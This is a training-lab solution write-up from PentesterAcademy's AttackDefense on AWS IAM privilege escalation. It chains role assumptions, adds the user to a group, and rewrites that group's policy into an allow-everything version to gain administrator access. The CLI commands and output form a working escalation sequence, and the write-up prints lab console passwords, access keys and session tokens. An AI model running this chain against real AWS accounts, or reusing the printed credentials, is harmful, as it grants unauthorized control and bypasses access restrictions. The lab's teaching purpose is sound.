
ATTACK
DEFENSE
by PentesterAcademy

Name	Dangerous Policy Combination II
URL	https://attackdefense.com/challengedetails?cid=2250
Type	AWS Cloud Security : IAM

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Solution:

Step 1: Click on the lab link button to get access to AWS lab credentials.

Access Credentials to your AWS lab Account

Login URL	https://645723898191.signin.aws.amazon.com/console
Region	US East (N. Virginia) us-east-1
Username	student
Password	Ad5PcyW3apXw372d
Access Key ID	AKIAZMWIBEYFH2LBIGUF5
Secret Access Key	k7pMLy1/9u8oEmAsT+okvm+7Gq9LBBlDoUhUdTAj

Step 2: Configure AWS CLI to use the provided credentials.

Command: aws configure

```
┌──(kali㉿kali)-[~]
└─$ aws configure
\AWS Access Key ID [****************BV7E]:AKIAZMWBEYFH2LBIGUF5
AWS Secret Access Key [****************n7rp]: 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
Default region name [us-east-1]:
Default output format [None]:
```

Step 3: Get policies attached to the user - student.

Command: aws iam list-attached-user-policies --user-name student

```
┌──(kali㉿kali)-[~]
└─$ aws iam list-attached-user-policies --user-name student
{
    "AttachedPolicies": [
        {
            "PolicyName": "IAMReadOnlyAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/IAMReadOnlyAccess"
        }
    ]
}
```

Step 4: Get information about the attached policies.

Commands:
aws iam list-user-policies --user-name student
aws iam get-user-policy --user-name student --policy-name terraform-20210211103351240800000003

```
┌──(kali㉿kali)-[~]
└─$ aws iam list-user-policies --user-name student
{
    "PolicyNames": [
        "terraform-20210211103351240800000003"
    ]
}
```

```
┌──(kali㉿kali)-[~]
└─$ aws iam get-user-policy --user-name student --policy-name terraform-20210211103351240800000003
{
    "UserName": "student",
    "PolicyName": "terraform-20210211103351240800000003",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "sts:AssumeRole"
                ],
                "Effect": "Allow",
                "Resource": [
                    "arn:aws:iam::645723898191:role/Adder",
                    "arn:aws:iam::645723898191:role/PolicyUpdater"
                ]
            }
        ]
    }
}
```

Step 5: Try creating a new user named Bob

Command: aws iam create-user --user-name Bob

```
┌──(kali㉿kali)-[~]
└─$ aws iam create-user --user-name Bob

An error occurred (AccessDenied) when calling the CreateUser operation: User: arn:aws:ia
User on resource: arn:aws:iam::645723898191:user/Bob
```

User creation failed due to insufficient privileges.

Step 6: Check Adder role policies and permissions. Also, check the role-policy document.

Commands:
aws iam list-role-policies --role-name Adder
aws iam get-role-policy --role-name Adder --policy-name AddUser

```
┌──(kali㉿kali)-[~]
└─$ aws iam list-role-policies --role-name Adder
{
    "PolicyNames": [
        "AddUser"
    ]
}

┌──(kali㉿kali)-[~]
└─$ aws iam get-role-policy --role-name Adder --policy-name AddUser
{
    "RoleName": "Adder",
    "PolicyName": "AddUser",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": "iam:AddUserToGroup",
                "Effect": "Allow",
                "Resource": "arn:aws:iam::645723898191:group/Printers"
            }
        ]
    }
}
```

Role policy says that role Adder has permission to add any user to the Printers group.

Step 7: Assume Adder role with student user.

Command: aws sts assume-role --role-arn arn:aws:iam::645723898191:role/Adder --role-session-name adder_test

```
┌──(kali㉿kali)-[~]
└─$ aws sts assume-role --role-arn arn:aws:iam::645723898191:role/Adder --role-session-name adder_test
{
    "Credentials": {
        "AccessKeyId": "ASIAZMWBEYFHVMG5B76W",
        "SecretAccessKey": "AxuCIZzELP3I8d8gPZQ8Ofk0l69ytySpNvAHj2wI",
        "SessionToken": "IQoJb3JpZ2luX2VjEMP//////////wEaCXVzLWVhc3QtMSJHMEUCIBI6fnQciIsjSmbv1DPN/FSzPB
eMsRuVg97w8qoAIIvP//////////ARAAGgw2NDU3MjM4OTgxOTEiDHNyDYGYvFtP1GryfSr0AWD8x3a9L0VXugpoIqijRoUk1dG/0ea
0kVe0EWl8B4Pmxnh4YlUz3xT8KsCwB58cDRbXd3gSY5X1oT7g0lHZVhO9JxmRWE4/iBVVedOfeC60wXfG3hG70OkxSXfyhdmzIHr3kr
hpTxYss3cb6q6PJtSvy34tWqsPYoXsDZy2pYD6JSdFw7bokBB0zDMqzdEANzpUGckMPlsYqOOT2fD0xlbkPUAwoZKUgQY6nQF32d617
ZynnJ1dIZPKqztxjcTOdxUcXcsnx2NnjyHh/Hg7QrI0NgIVj/9N5/5ZHzw4scLyakASEcJkT4z8dRuXm5IlkEykboMNpNb4KYuriZgC
        "Expiration": "2021-02-11T11:38:25+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROAZMWBEYFHYTX2IQQBQ:adder_test",
        "Arn": "arn:aws:sts::645723898191:assumed-role/Adder/adder_test"
    }
}
```

Make a note of Credentials and tokens.

Step 8: Set the access key id, secret access key, and session token in environment variables.

Commands:
export AWS_ACCESS_KEY_ID=<access key id>
export AWS_SECRET_ACCESS_KEY=<secret access key>
export AWS_SESSION_TOKEN=<session token>

```
┌──(kali㉿kali)-[~]
└─$ export AWS_ACCESS_KEY_ID=ASIAZMWBEYFHVMG5B76W
export AWS_SECRET_ACCESS_KEY=AxuCIZzELP3I8d8gPZQ8Ofk0l69ytySpNvAHj2wI
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEMP//////////wEaCXVzLWVhc3QtMSJHMEUCIBI
eMsRuVg97w8qoAIIvP//////////ARAAGgw2NDU3MjM4OTgxOTEiDHNyDYGYvFtP1GryfSr0AWD8x3a9
0kVe0EWl8B4Pmxnh4YlUz3xT8KsCwB58cDRbXd3gSY5X1oT7g0lHZVhO9JxmRWE4/iBVVedOfeC60wXf
hpTxYss3cb6q6PJtSvy34tWqsPYoXsDZy2pYD6JSdFw7bokBB0zDMqzdEANzpUGckMPlsYqOOT2fD0xl
ZynnJ1dIZPKqztxjcTOdxUcXcsnx2NnjyHh/Hg7QrI0NgIVj/9N5/5ZHzw4scLyakASEcJkT4z8dRuXm
```

Step 9: Add student user to printers group and unset environment variables.

Commands:
aws iam add-user-to-group --group-name Printers --user-name student
unset AWS_ACCESS_KEY_ID
unset AWS_SECRET_ACCESS_KEY.
unset AWS_SESSION_TOKEN

```
┌──(kali㉿kali)-[~]
└─$ aws iam add-user-to-group --group-name Printers --user-name student

┌──(kali㉿kali)-[~]
└─$ unset AWS_ACCESS_KEY_ID
unset AWS_SECRET_ACCESS_KEY
unset AWS_SESSION_TOKEN
```

Step 10: List groups for the student user.

Command: aws iam list-groups-for-user --user-name student

```
└─$ aws iam list-groups-for-user --user-name student
{
    "Groups": [
        {
            "Path": "/",
            "GroupName": "Printers",
            "GroupId": "AGPAZMWBEYFHS6XYPSHPI",
            "Arn": "arn:aws:iam::645723898191:group/Printers",
            "CreateDate": "2021-02-11T10:33:35+00:00"
        }
    ]
}
```

Successfully added a student user to the Printers group.

Step 11: Check the policies attached to the PolicyUpdater role policies and check the role-policy document.

Commands:
aws iam list-role-policies --role-name PolicyUpdater
aws iam get-role-policy --role-name PolicyUpdater --policy-name CreatePolicyVersion

```
┌──(kali㉿kali)-[~]
└─$ aws iam list-role-policies --role-name PolicyUpdater
{
    "PolicyNames": [
        "CreatePolicyVersion"
    ]
}

┌──(kali㉿kali)-[~]
└─$ aws iam get-role-policy --role-name PolicyUpdater --policy-name CreatePolicyVersion
{
    "RoleName": "PolicyUpdater",
    "PolicyName": "CreatePolicyVersion",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": "iam:CreatePolicyVersion",
                "Effect": "Allow",
                "Resource": "arn:aws:iam::645723898191:policy/Print"
            }
        ]
    }
}
```

Role policy says that role PolicyUpdater has permission to create a new PolicyVersion for Print policy.

Step 12: Check the policies attached to the group Printers.

Command: aws iam list-attached-group-policies --group-name Printers

```
┌──(kali㉿kali)-[~]
└─$ aws iam list-attached-group-policies --group-name Printers
{
    "AttachedPolicies": [
        {
            "PolicyName": "Print",
            "PolicyArn": "arn:aws:iam::645723898191:policy/Print"
        }
    ]
}
```

The Print policy is attached to the Printers group.

Step 13: List the version of policies available for Print policy;

Command: aws iam get-policy --policy-arn arn:aws:iam::645723898191:policy/Print

```
┌──(kali㉿kali)-[~]
└─$ aws iam get-policy --policy-arn arn:aws:iam::645723898191:policy/Print
{
    "Policy": {
        "PolicyName": "Print",
        "PolicyId": "ANPAZMWBEYFHQRU5GZG37",
        "Arn": "arn:aws:iam::645723898191:policy/Print",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2021-02-11T10:33:35+00:00",
        "UpdateDate": "2021-02-11T10:33:35+00:00"
    }
}
```

Step 14: View the policy document for v1 version of Print policy.

Command: aws iam get-policy-version --policy-arn arn:aws:iam::645723898191:policy/Print --version-id v1

```
┌──(kali㉿kali)-[~]
└─$ aws iam get-policy-version --policy-arn arn:aws:iam::645723898191:policy/Print --version-id v1
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Action": "s3:ListAllMyBuckets",
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2021-02-11T10:33:35+00:00"
    }
}
```

Step 15: Assume PolicyUpdater role.

Command: aws sts assume-role --role-arn arn:aws:iam::645723898191:role/PolicyUpdater --role-session-name policy_test

```
┌──(kali㉿kali)-[~]
└─$ aws sts assume-role --role-arn arn:aws:iam::645723898191:role/PolicyUpdater --role-session-name policy_test
{
    "Credentials": {
        "AccessKeyId": "ASIAZMWBEYFHSHDNE4LA",
        "SecretAccessKey": "3VlAvK+5ZAIERpyDJirNj44LZzYUSN4ePE8pC+8h",
        "SessionToken": "IQoJb3JpZ2luX2VjEMP//////////wEaCXVzLWVhc3QtMSJHMEUCICUKaDVbyqvirUQtjEw6aBG/pUVLSrpWYZNma
SsZb68yXCEUqoQIIvP//////////ARAAGgw2NDU3MjM4OTgxOTEiDBRV70zORKq6+ksQSir1AT35BKC8WsNme5IMr7g52wrWUSNLiE2oTJ1m7Y1fKI
4zOML1YbUKDQ4xYU89hUXcgmioS/Ge5b2qoo04mtEZU6y8mf06a+66+m/6pXVcxHwbhwPzhT7/4vkAfHWH9WYjOR9mlmmt+JqCbw5HLkakNkZL+s+O
6r1pRbeEhNc3qMescMpQANdzUf44BJZKZcigv5vRng/6Jdn7JZk9f8jU83c4HPAVwddD1bgNRmkPmIsvuF7VkbMM6TlIEGOp0Bb8tV4HGVNRKfnjfa
FxT+2zgXEYY6vqCu2jiyw/Ndz3fdoOkj2vAtzITMRATMYev+TSDXMeRdfbmG/uFoLF2dmXaCJ+TRUAIvyfJdQFxNXjnMhT4d205w+DZN21rpPM1kfr
        "Expiration": "2021-02-11T11:41:18+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROAZMWBEYFH2U4B3WFOT:policy_test",
        "Arn": "arn:aws:sts::645723898191:assumed-role/PolicyUpdater/policy_test"
    }
}
```

Make a note of Credentials and tokens.

Step 16: Set the access key id, secret access key, and session token in environment variables.

Commands:
export AWS_ACCESS_KEY_ID=<access key id>
export AWS_SECRET_ACCESS_KEY=<secret access key>
export AWS_SESSION_TOKEN=<session token>

```
┌──(kali㉿kali)-[~]
└─$ export AWS_ACCESS_KEY_ID=ASIAZMWBEYFHSHDNE4LA
export AWS_SECRET_ACCESS_KEY=3VlAvK+5ZAIERpyDJirNj44LZzYUSN4ePE8pC+8h
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEMP//////////wEaCXVzLWVhc3QtMSJHMEUCICUKaDVby
SsZb68yXCEUqoQIIvP//////////ARAAGgw2NDU3MjM4OTgxOTEiDBRV70zORKq6+ksQSir1AT35BKC8WsNme5
4zOML1YbUKDQ4xYU89hUXcgmioS/Ge5b2qoo04mtEZU6y8mf06a+66+m/6pXVcxHwbhwPzhT7/4vkAfHWH9WYj
6r1pRbeEhNc3qMescMpQANdzUf44BJZKZcigv5vRng/6Jdn7JZk9f8jU83c4HPAVwddD1bgNRmkPmIsvuF7Vkb
FxT+2zgXEYY6vqCu2jiyw/Ndz3fdoOkj2vAtzITMRATMYev+TSDXMeRdfbmG/uFoLF2dmXaCJ+TRUAIvyfJdQF
```

Step 17: Create a new policy version and set it as default. Use the following policy document for Administrator Access.

JSON: newAdminPolicy.json

```
{
   "Version": "2012-10-17",
   "Statement": [
      {
         "Effect": "Allow",
         "Action": "*",
         "Resource": "*"
      }
   ]
}
```

Commands:
aws iam create-policy-version --policy-arn arn:aws:iam::645723898191:policy/Print
--policy-document file://newAdminPolicy.json --set-as-default
unset AWS_ACCESS_KEY_ID
unset AWS_SECRET_ACCESS_KEY.
unset AWS_SESSION_TOKEN

```
┌──(kali㉿kali)-[~]
└─$ aws iam create-policy-version --policy-arn arn:aws:iam::645723898191:policy/Print --policy-document file://newAdminP
{
    "PolicyVersion": {
        "VersionId": "v2",
        "IsDefaultVersion": true,
        "CreateDate": "2021-02-11T10:42:56+00:00"
    }
}

┌──(kali㉿kali)-[~]
└─$ unset AWS_ACCESS_KEY_ID
unset AWS_SECRET_ACCESS_KEY
unset AWS_SESSION_TOKEN
```

Step 18: Check the new version of the Print policy.

Command: aws iam get-policy-version --policy-arn arn:aws:iam::645723898191:policy/Print --version-id v2

```
┌──(kali㉿kali)-[~]
└─$ aws iam get-policy-version --policy-arn arn:aws:iam::645723898191:policy/Print --version-id v2
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": "*",
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v2",
        "IsDefaultVersion": true,
        "CreateDate": "2021-02-11T10:42:56+00:00"
    }
}
```

Successfully created policy version.

Step 18: Try creating a new user on the AWS account named Bob to verify Administrator Access.

Command: aws iam create-user --user-name Bob

```
┌──(kali㉿kali)-[~]
└─$ aws iam create-user --user-name Bob
{
    "User": {
        "Path": "/",
        "UserName": "Bob",
        "UserId": "AIDAZMWBEYFHR7YSBH6S7",
        "Arn": "arn:aws:iam::645723898191:user/Bob",
        "CreateDate": "2021-02-11T10:44:00+00:00"
    }
}
```

Successfully performed a privileged operation.

References:

1. AWS CLI (https://docs.aws.amazon.com/cli/latest/reference/)